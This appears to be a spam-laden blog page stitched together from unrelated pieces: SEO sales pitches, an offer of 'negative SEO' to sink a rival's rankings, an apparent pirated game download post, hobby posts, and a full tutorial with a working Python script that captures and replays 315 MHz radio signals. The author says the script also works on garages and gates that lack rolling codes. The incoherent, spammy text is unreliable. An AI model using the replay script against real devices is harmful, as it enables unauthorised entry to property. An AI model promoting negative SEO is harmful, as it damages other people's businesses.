सरकारी नौकरी - Government Jobs India

27 December 2020

Get Guarnateed DA50+ for %domain%

hi there

Get an amaazing Domain Authority score above 50 for your website and
increase sales and visibility in just 30 days
https://www.str8creative.co/product/moz-da-seo-plan/

Service is guaranteed

Regards
Mike
Str8 Creative
support@str8creative.co

23 December 2020

re: I need to make a website`s ranks go down

hi

Yes, it is possible, with our service here
https://negativerseo.co/

for further information please email us here
support@negativerseo.co

thanks
Peter

20 December 2020

Our most powerful SEO Ultimate Plan

hi there

Getting Top 10 Position in Search Engines is a Must for every Website if
you are really serious to do Online Business. If you are not in !op 10 it
means you are getting only 5% of visitors for that particular keyword.

Please find more information on our plan here:
https://str8creative.co/product/seo-ultimate/

thanks
Ikisha
support@str8creative.co

09 December 2020

re: Rank top 5 in the Google maps

hi there

Did you know that when someone is looking for a search term on their
phones, the Gmaps listings its what pop up first in the results?

Stop losing all that visibility and let us boost your G listing into the
tops for local terms
https://www.str8creative.co/product/1500-gmaps-citations/

thanks and regards
Mike
support@str8creative.co

05 December 2020

Blackhat tactics for ranking fast

hi

The most powerful & tested positive SEO packages available today. Designed
to rocket you to the top of Google.

https://bns-advertising.co/affordable-seo-services-small-businesses/

for further information please email us here
support@bns-advertising.co

thanks
Peter

01 December 2020

Guaranteed Domain Authority 50/100

hi there

Here is how we can do it
https://www.str8creative.co/product/moz-da-seo-plan/

Regards
Mike
Str8 Creative
support@str8creative.co

27 November 2020

re: I need to make a website`s ranks go down

hi

Yes, it is possible, with our service here
https://negativerseo.co/

for further information please email us here
support@negativerseo.co

thanks
Peter

21 November 2020

Cheap Monthly SEO plans %domain%

hi there

After checking your website SEO metrics and ranks, we determined that you
can get a real boost in ranks and visibility by using any of our plan below
https://www.cheapseosolutions.co/cheap-seo-packages/index.html

cheap and effective SEO plan
onpage SEO included

For the higher value plans, DA50 DR50 TF20 SEO metrics boost is inlcuded

thank you
Mike
support@cheapseosolutions.co

20 November 2020

re: need unique domains backlinks

hi there

Do you mean that you want 1 backlinks from 1 domain? unique domains links
like this?

yes, we offer that here
https://str8creative.co/product/unique-domains-links/

thanks and regards
Mike
support@str8creative.co

27 October 2020

fw: blog EDU backlinks

hi there

1000 Edu blog backlinks to improve your backlinks base and increase SEO
metrics and ranks
http://www.str8-creative.io/product/edu-backlinks/

Improve domain authority with more .edu blog backlinks

Unsubscribe from this newsletter
http://www.str8-creative.io/unsubscribe/

22 October 2020

Domain Authority 50 for your website - Guaranteed Service

We`ll get your website to have Domain Authority 50 or we`ll refund you every
cent

for only 150 usd, you`ll have DA50 for your website, guaranteed

Order it today:
http://www.str8-creative.co/product/moz-da-seo-plan/

thanks
Alex Peters

28 September 2020

Domain Authority 50 for your website - Guaranteed Service

22 September 2020

Fun Art Projects

I've not been in the mood to write articles lately, so instead I've been working on some fun projects instead. Watabou posted about Dyson Hatching, which got me thinking it might be interesting to constrain the hatch lines to Voronoi cells. I implemented that and then got carried away with colors, line spacing, line width, and other fun things. The demo is here. You can drag an image onto the diagram to use the colors from your image.

The second project was also thanks to a Watabou tweet. It inspired me to play with shaders on a Delaunay mesh. Once again I got carried away and had lots of fun making patterns. The demo is here. Play with the first two sliders to pick the pattern, then adjust the other sliders to fine tune it.

Enjoy!

21 September 2020

The Gotek Floppy Drive Emulator In The IBM PC World

The Gotek floppy drive emulator is a simple, cheap and little device that, as its name says, emulates a floppy drive. There are many varieties of these devices and they usually come with a USB port on the front of the unit and a 34-pin header + 4-pin power header on the back. While originally intended to replace disk drives in industrial, sewing and musical equipment, they can be used with standard PC floppy controllers. However, as they come they are at best diamonds in the rough, so in this blog entry I will describe how to make these devices more useful for vintage IBM PCs and compatibles.

Read more »

17 September 2020

1500 google maps citations cheap

Rank the google maps top 5 for your money keywords, guaranteed

http://www.str8-creative.io/product/1500-gmaps-citations/

regards,
Str8 Creative

12 September 2020

Goblyn Head Press News

You may or may not know this, but I own a very small game publishing company. How small? Well... so far we have produced exactly three items for sale, and all of those have been released in the past month.

To date, Goblyn Head has produced a supplement for D&D 5e, and adventure for 5e, and a generic map of a barrow mound that is free to download ("Pay What You Want"). All are available from DriveThruRPG here.

Come check it out! Zeebs (our mischievous but friendly goblyn mascot) will show you how to go. And if you do pick up something, please leave a review!

Why Is K.I.S.S.ing So Hard?

Keep It Simple Stupid!

I did get a chance to try my "improved", more 'accurate', less 'gamey' version of the rules and once again by the time the game was over, it was tedious, bordering on boring actually, and taking far too long for a quick solo game. (Please imagine a clever gif of me scrounching up a piece of paper and dunking it in a waste basket.)

So I did what works best for me. I did other things for a while (including a 16thC game over Hangouts where I was rightfully trounced - sorry no pics but I expect the game will appear on the Sharp Brush blog.).

Then, today, I came back with a fresh eye and an open mind.

Once more unto the Bridge!
Turn 8ish of 15: the armies are all on board and well engaged.

The first step was to spend some time with my nose in books. Then, I let my subconscious mind guide me as I poked at the figures and started to think of other mechanisms, "the look of the thing", what needs to be shown and what doesn't and about the sorts of decisions I want to be making as a player.

Casualties mount. The Bodyguards charge into the battered grey infantry!

The next thing was to again regroup the figures into units of 8 infantry or 4 other figures which is how they are painted. I then dumped the existing command control and activation rules, the fiddlyier bits, the existing morale rules, the mutiphase charge resolution and the proposed reintroduction of pinned and rally rules.

...and they pursue, sweeping away the fleeing rebels. Then, once the refugees were clear..... the two Rebel batteries opened fire on them at close range! The Guards quickly retreated to lick their wounds.

I then scribbled some note outlining the new simple game, tweaked it once or twice for things that arose mid game, and played an engaging, very close, occasionally nail biting, rematch of the same OHW scenario in roughly an hour.

The details are more abstracted but then so are the shiny toys and the things I had to think about as player seemed to me more like things a General should be thinking about.

Turn 13/15. The Hochelaga Fusiliers are the last fresh Dominion unit. "Fix Bayonets" "CHARGE!!" and the last remnants of shaken rebel units flee over the bridge. Another incursion has been repulsed.

So, that's one happy test game. The rules have been amended to match and the link posted on my Rules blog page.

I think its time to do some casting and painting and the like, and then try it again with a bigger scenario and more men!

07 September 2020

Domain Authority 50 for your website - Guaranteed Service

04 September 2020

Download Tekken 6 Full Version For Pc

Download Tekken 6 Full Version For pc

Tekken 6 Full Review

Welcome to Tekken 6 is one of the best fighting game especially for fighting lovers that has been developed and published by Bandai Namco Games.This game was released on 26th November 2007.

Screenshot

System Requirements of Tekken 6 For Windows PC

Operating System: Windows XP/Vista/ Windows 7 ( 64 Bit )
CPU: Intel Pentium 4 or later.
Setup Size: 700 MB
RAM: 1GB
Hard Disk Space: 1GB

31 August 2020

Hacking Everything With RF And Software Defined Radio - Part 2

YardStick One Unleashed, Automating RF Attacks In Python - An RFCat Primer

I decided to dive into our current device a bit more before moving on to a new device, and really ramp up the skillsets with RFCat and the Yardstick. So for this blog you will need our previous Target and a Yardstick One. We will be hacking everyting using only the Yardstick and Python.

If your really bored and want to follow me:
Twitter: @Ficti0n
Site: cclabs.io or consolecowboys.com

Purchase Devices needed to follow this blog series:

Target 1:(from the last blog)

https://goo.gl/W56Eau

YardStick One: (from the last blog)

https://goo.gl/wd88sr

So last time we scanned for signals with GQRX and a Software Defined Radio device. We took the demodulated wave forms in Audacity and discerned what the binary representation of our wave forms were by decoding them manually. We then transferred those into a hex format that our yardstick understood. However there is a way to do everything with our Yardstick. It will require a bit more understanding of the RFCat library, and a bit of python.

This blog will be your RFCAT primer and coding tutorial, but don't be scared with the word "Programming" I will be using simple code, nothing complicated. So if your a programmer, tune out any coding explanation and understand RFCat, if your not a coder, then use this as a jumping point to start making some quick python scripts for hacking.

Video Series PlayList Associated with this blog:

The first thing we did in our last blog after looking up the frequency was to open up GQRX and check if we can see our devices signals. As it turns out you can actually do this in python with RFCat. Which is really convenient if you left your Software Defined Radio dongle at home but happen to have access to a Yardstick.

RFCat as a Spectrum Analyzer:

In order to use RFCat as a spectrum analyzer we need to make sure we have RFcat installed and a few prerequisites such as python and PySide modules. I actually did this inside of an Ubuntu VMware because Pyside was giving me issues on OSX and I didn't feel like trying to fix it. So If you spin up an ubuntu vm you can do the following to get things up and running..

Install Spectrum Analyzer PreReqs:

sudo pip install PySide

sudo apt-get install ipython

Plug in your adapter and type in the following:

rfcat -r

d.specan(315000000)

You will then see the below output of RFCat Specan running in the 315 MHz range.

Click our doorbell, or trip the motion sensor and you will see a frequency spike as shown in the second picture.

This is similar to what you saw in GQRX but all with your Yardstick and the Python RFCat library.

So everything seems to be working and we can see our devices transmitting on the 315MHz frequency. Unfortunately we have no record button on Spescan. This leaves us to dive a little deeper into RFCat. We will see what RFCat can do for us in the recording and sniffing capacity.

Sniffing RF Data With The YardStick and Python:

In RFCat there is a simple listening command in our interactive session which will give us an idea of what is being transmitted and in what type of data format we are recieving. When using GQRX we received a WAV file, but what does RFCat give us? One thing I have realized over the years is programming is all about dealing with data in various formats and figuring out how to parse and use it in various implementations. So the first thing we have to figure out is what kind of data we are dealing with.

Lets hop back into RFCat and set a few parameters so the yardstick knows to listen on 315MHz and to use ASK modulation. The settings below should all be familiar from our last blog with an exception of "lowball" which configures the radio to use the lowest level of filtering. We basically want to see everything but may experience some noise by not filtering it out.. For example before you hit your doorbell button you may see random FF FF FF FF data outputted to the screen.

Below is the cmdline input needed and some example output. After all of our settings are in place we can use RF.listen() to start listening for everything in the 315000000 frequency range and have it output to the screen.

After you set it up, you can press the button on your doorbell and you will receive the following output. We have lots of zeros and what might be some hex output.

Destroy ficti0n$ rfcat -r

>>> d.setFreq(315000000)

>>> d.setMdmModulation(MOD_ASK_OOK)

>>> d.setMdmDRate(4800)

>>> d.setMaxPower()

>>> d.lowball()

>>> d.RFlisten()

Entering RFlisten mode... packets arriving will be displayed on the screen

(press Enter to stop)

(1508637518.258) Received: c000842139ce0000000000000021bdc218c631bdef00000000000000309ce10842109ce700000000000000109ce10842109ce70000000000000010def18c6318def780000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | ...!9........!....1.........0...B..............B..............c...........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns.................................................

If you hit "ENTER" in your terminal you will stop receiving packets and drop back into a python interactive terminal. If we take a look at the repeating pattern in the above output, it looks like some random patterns and then a repeating pattern of, 84e708421084e738. If we convert that to binary we can compare with what we decoded WAV from our previous blog.

Since we are already in a python terminal you can type the following to see the binary representation:

>>> bin(int("84e708421084e738",16))[2:]

'1000010011100111000010000100001000010000100001001110011100111000'

Lets break that up into 8 bit bytes and compare it to our previous blogs binary, hmm its lot different then what we originally decoded the signal to be:

New: 10000100 11100111 00001000 01000010 00010000 10000100 11100111 00111000

Orig: 10111000 10001011 10111000 10001000 10001011 10111011 10000000

If we take the above capture data and format it correctly for RFcat with the replay code from the last blog. When we send it over, it does indeed ring the doorbell, thats interesting. A completely different value in both hex and in binary and still we get a doorbell to ring. So the variance we talked about last time extends a bit more. Below is the code with the new hex from the capture data:

from rflib import *

d = RfCat()

d.setFreq(315000000)

d.setMdmModulation(MOD_ASK_OOK)

d.setMdmDRate(4800)

print "Starting"

d.RFxmit("\x84\xe7\x08\x42\x10\x84\xe7\x38\x00\x00\x00\x00\x00\x00"*10)

print 'Transmission Complete'

TroubleShooting Antenna Issues:

I will also take a minute to note something before we continue. I had a little trouble at first when using a telescopic antenna in RFcat and the YardStick. So I will list those issues below as notes for you to play with if you run into random looking captures when pressing your doorbell button.

When using a telescopic antenna closed I had almost repeating output with some random bits flipped
When extending the antenna it went crazy output with random noise
I then used a small rubber ducky antenna and got the repeating output shown above.

What we have done so far:

So above, we managed to figure out the following all in RFCat

Verify the frequency with RFCat
How can I listen for it and capture a transmission with RFCat
How can I send this transmission with RFCat

We have basically eliminated the immediate need for the graphical tools that we were using in the last blog. Not to say that they are not useful. They absolutely are, and we should use them often and know how to work with all kinds of formats and understand everything.. However, if we are living in a reality that all we have is a Yardstick and no other tools. We are not helpless and we can still kick some serious RF butt.

Now we are going to take this a bit further so we can learn some more about RFCat, Python and mistakes I made when trying to automate this stuff. I found some interesting quirks I had to work through and I would like to save others some time who are also in the learning process as I am.

Using RFrecv() for Listening:

Ok first thing I learned is that RFListen() is not all that useful when it comes to automating this stuff. I tried to set its output to a variable but that did not seem to work.. So instead we will be working with another feature that lets us listen and that is RFrecv(). If we fire up our RFCat in the terminal again we can give that a try:

Destroy:~ ficti0n$ rfcat -r

>>> d.setFreq(315000000)

>>> d.setMdmModulation(MOD_ASK_OOK)

>>> d.setMdmDRate(4800)

>>> d.setMaxPower()

>>> d.lowball()

>>> d.RFrecv()

Traceback (most recent call last):

File "", line 1, in

File "/Library/Python/2.7/site-packages/rflib/chipcon_nic.py", line 1376, in RFrecv

data = self.recv(APP_NIC, NIC_RECV, timeout)

File "/Library/Python/2.7/site-packages/rflib/chipcon_usb.py", line 664, in recv

raise(ChipconUsbTimeoutException())

ChipconUsbTimeoutException: Timeout waiting for USB response.

OK thats not cool we are getting a weird error if we don't get a signal right away regarding ChipconUsbTimeoutException.

No problem since we are in a python terminal we can just capture this exception and pass it, then continue with sniffing. This is done with a Try/Except block.

try:

... d.RFrecv()

... except ChipconUsbTimeoutException:

... pass

...

That looks a little better, I am no longer receiving errors, but lets put this in a loop so we are continuously listening with RFrecv() and press our doorbell so we can capture our doorbell signal. Below is the output of a random signal that came in followed by our doorbell.. but its all kinds of crazy looking and a bit hard to read:

try:

... d.RFrecv()

... except ChipconUsbTimeoutException:

... pass

...

while True:

... try:

... d.RFrecv()

... except ChipconUsbTimeoutException:

... pass

Lets try to fix the output a little and make it more readable by encoding it before we view it. Open up your text editor and use the following code. What we are doing here is simply setting up our listener as we did before and then setting it to a variable we can use.

Line 12: Setting our RFrecv() output to the variable y and z. The y variable is the output that we want

Line 13: We will wrap the y variable with an encode function to encode it with a HEX encoding.

Line 14: After that we just print it out.

When we run this script from the command line we will get a much nicer output shown below, much like we did with the RFlisten function above. The big difference being that our data is now set to the variable "capture" on line 13 and we can do what we want with that data. For example we can directly replay that data rather then manually performing the actions.

Parsing and replaying data:

This actually took me a bit of time to figure out, so we need to do a few things to get this to work:

We need to parse out the data from the surrounding 0s
We need to convert it to a format we can send (tricker then it sounds)
We need to add padding and send that data over (We know how to do this already)

Parsing Data:

So with this I first tried all kinds of regular expressions, but for some reason the inverse of more then 3 zeros in a row does not seem to work. I am no regex master but that seemed like it should be working. I then tried a few creative solutions reducing repeating zeros down to pairs that I could split on with string functions. This actually worked well but then my buddy showed me this which was more efficient:

re.split ('0000*', capture)

All this is doing is using the regex library to parse on a set of 4 or more zeros and return whats left in a list of useable hex data for sending. So lets add that into our code and give it a try to see what we get back. I made the following code changes:

Line 2: Import the Regex library

Line 11: We defined the capture variable so we can access it outside of the Try Block and the loop

Line 21: We created a payloads variable and created a list from the capture file of non 0000 blocks

Line 22: We print out our list of useable payloads which can been seen in the below output

Data Format Woes:

So we have data in a list we can pull from, thats awesome but I ran into a few issues. I first tried to parse this data into the \x format we normally used when sending our attack payloads manually, but that actually does not work. Reason being that if I use a code snippet like the following to convert this data into the right format everything looks ok and something like this \x84\xe7\x08\x42\x10\x84\xe7. But it won't actually work when I send it with RFCat. For some reason when you paste in your own hex its in a different format then if you programmatically create hex like below. You don't really need to understand the code below, just know it takes our payload and creates the hex in a visual format to what we used in the last blog:

DON'T USE THIS.. IT WONT WORK!!!

for payload in payloads:

formatted = ""

if (len(payload) > 6) and (len(payload) % 2 == 0):

print "Currently being formatted: " + payload

iterator = iter(payload)

for i in iterator:

formatted += ('\\x'+i + next(iterator))

else:

continue

Formatted Hex Vs Manually Pasted Hex

So lets compare the outputs of our manually created Hex String versus what we get when we format with the above code

Below is the output of the following:

Your encoded capture
Your parsed payloads in a nice list
Your payload being processed into hex.

But this is where things go wrong, you then have :

Your nicely formatted Hex created by your code above (Yay for us)
Then you have your manually pasted in hex from your original attack payloads as unprintable characters (What?)

You can clearly see there is a major difference between when we manually paste in our hex like we did in the last blog and when we create it from our capture file. This led to another sleepless night of researching whats going on. I did a bunch of troubleshooting until I found some code on the RFcat site and saw it using the BitString library and something called BitArray. The examples for this library were using binary data instead of hex and then converting it.

BitString BitArray Formating FTW:

If you remember above we created binary input with some python, so lets use that code in our current program template and then feed it into byteArray and see what happens. We can install bitstring with the following:

Install Bitstring:

sudo pip install bitstring

Our New code using BitString:

Line 2: I imported bitstring

Line 25: I added a for loop to go through our payload list one by one

Line 27: I convert our current payload to binary

Line 28: I take that binary and I feed it into bitstring to fix the formatting issues

Lines 29-30: Print out our binary and our new data that match our manually pasted data format, shown below

With these conversions the data above looks like its correct to attack our target devices. I know this seems like a lot of steps, but honestly this is only 50 lines of code in all to automate our replay attacks in a simple way. It is also very easy if you know what your doing and don't spend all of your time figuring it out like I did. You just need to understand how to work with the types of data each component understands.

With this latest code update we are ready to send our code with a simple modification to our RFxmit line from the last blog. We will now change RXxmit to take our formatted variable and then append our padding:

d.RFxmit((formated+"\x00\x00\x00\x00\x00\x00")*10)

Below is our full code to automate this attack, with a few changeups, but not many.. Really all I did was add some conditional statements to limit our data to longer payloads that are divisible by 2 since our hex takes 2 string characters for example \x41 is the string character 4 and 1. I originally did this for the iterator code which required the proper amount of characters but decided to leave it since it makes sense anyway. I also set it so that if there is a capture it breaks out of the loop. This way we are not continuously attacking every transmission we see. Instead for our testing we can hit our doorbell, replay all the values before our script finishes and exits.

Note: I sent similar code to a friend and had him run it against a black box real world target. He had permission to attack this target via the owner of a facility and it worked flawlessly. So although a doorbell is a trivial target. This same research applies to garages, gates, and any other signal not using protection mechanism such as rolling code, multiple frequencies at once etc.

Also note that when you run this, almost all of the payloads in your list will ring the doorbell which is why I put a timing variable before the sending command. This way your doorbell isn't overburdened. I already broke a few of these devices during testing LOL.

I have since modified this code to be more effective, and have additional features and more niceties, I will release that code when its ready.. For now enjoy the below code and hit me up with any questions or comments.

#—————YardStick_InstantReplay_SimpleVersion.py ----------#

# @Ficti0n

# http://consolecowboys.com

from rflib import *

import time

import re

import bitstring

print("Listening for them signals in ASK")

d = RfCat()

d.setFreq(315000000)

d.setMdmModulation(MOD_ASK_OOK)

d.setMdmDRate(4800)

d.setMaxPower()

d.lowball()

#-----------Start Capture 1 Transmission ----------#

capture = ""

while (1):

try:

y, z = d.RFrecv()

capture = y.encode('hex')

print capture

except ChipconUsbTimeoutException:

pass

if capture:

break

#Parse Hex from the capture by reducing 0's

payloads = re.split ('0000*', capture)

print payloads

#----------Start Parse and Create Payload---------#

for payload in payloads:

formated = ""

if (len(payload) > 6) and (len(payload) % 2 == 0):

print "Currently being formatted to binary: " + payload

binary = bin(int(payload,16))[2:]

print binary

print "Converting binary to bytes: "

formatted = bitstring.BitArray(bin=(binary)).tobytes()

else:

continue

#------------Send Transmission--------------------#

time.sleep(2)

print "Sending bytes with padding"

d.RFxmit((formatted+"\x00\x00\x00\x00\x00\x00")*10)

print 'Transmission Complete'

Thats All Folks, Whats Next:

I hope this blog is helpful in demystifying RFCat in order to successfully perform/automate attacks with only Python and your Yardstick One. This is essentially a few nights of my research posted here for everyone to learn from. Because it was a pain to find useful information, and I would like to save other people a lot of sleepless nights. I am by no means the master of RF or RFCat, there is tons more to learn. Up next I will get back on track with a real world attack against a device and creating our own keyfobs to replay our attacks in the future.

Subscribe

Current Vacancy

About Me

27 December 2020

23 December 2020

20 December 2020

09 December 2020

05 December 2020

01 December 2020

27 November 2020

21 November 2020

20 November 2020

27 October 2020

22 October 2020

28 September 2020

22 September 2020

21 September 2020

17 September 2020

12 September 2020

07 September 2020

04 September 2020

System Requirements of Tekken 6 For Windows PC

31 August 2020

YardStick One Unleashed, Automating RF Attacks In Python - An RFCat Primer

Purchase Devices needed to follow this blog series:

Video Series PlayList Associated with this blog:

RFCat as a Spectrum Analyzer:

Sniffing RF Data With The YardStick and Python:

TroubleShooting Antenna Issues:

What we have done so far:

Using RFrecv() for Listening:

Parsing and replaying data:

Parsing Data:

Data Format Woes:

BitString BitArray Formating FTW:

Thats All Folks, Whats Next:

Continue reading

30 August 2020

Blog Archive

Subscribe To

Labels/Keyword Cloud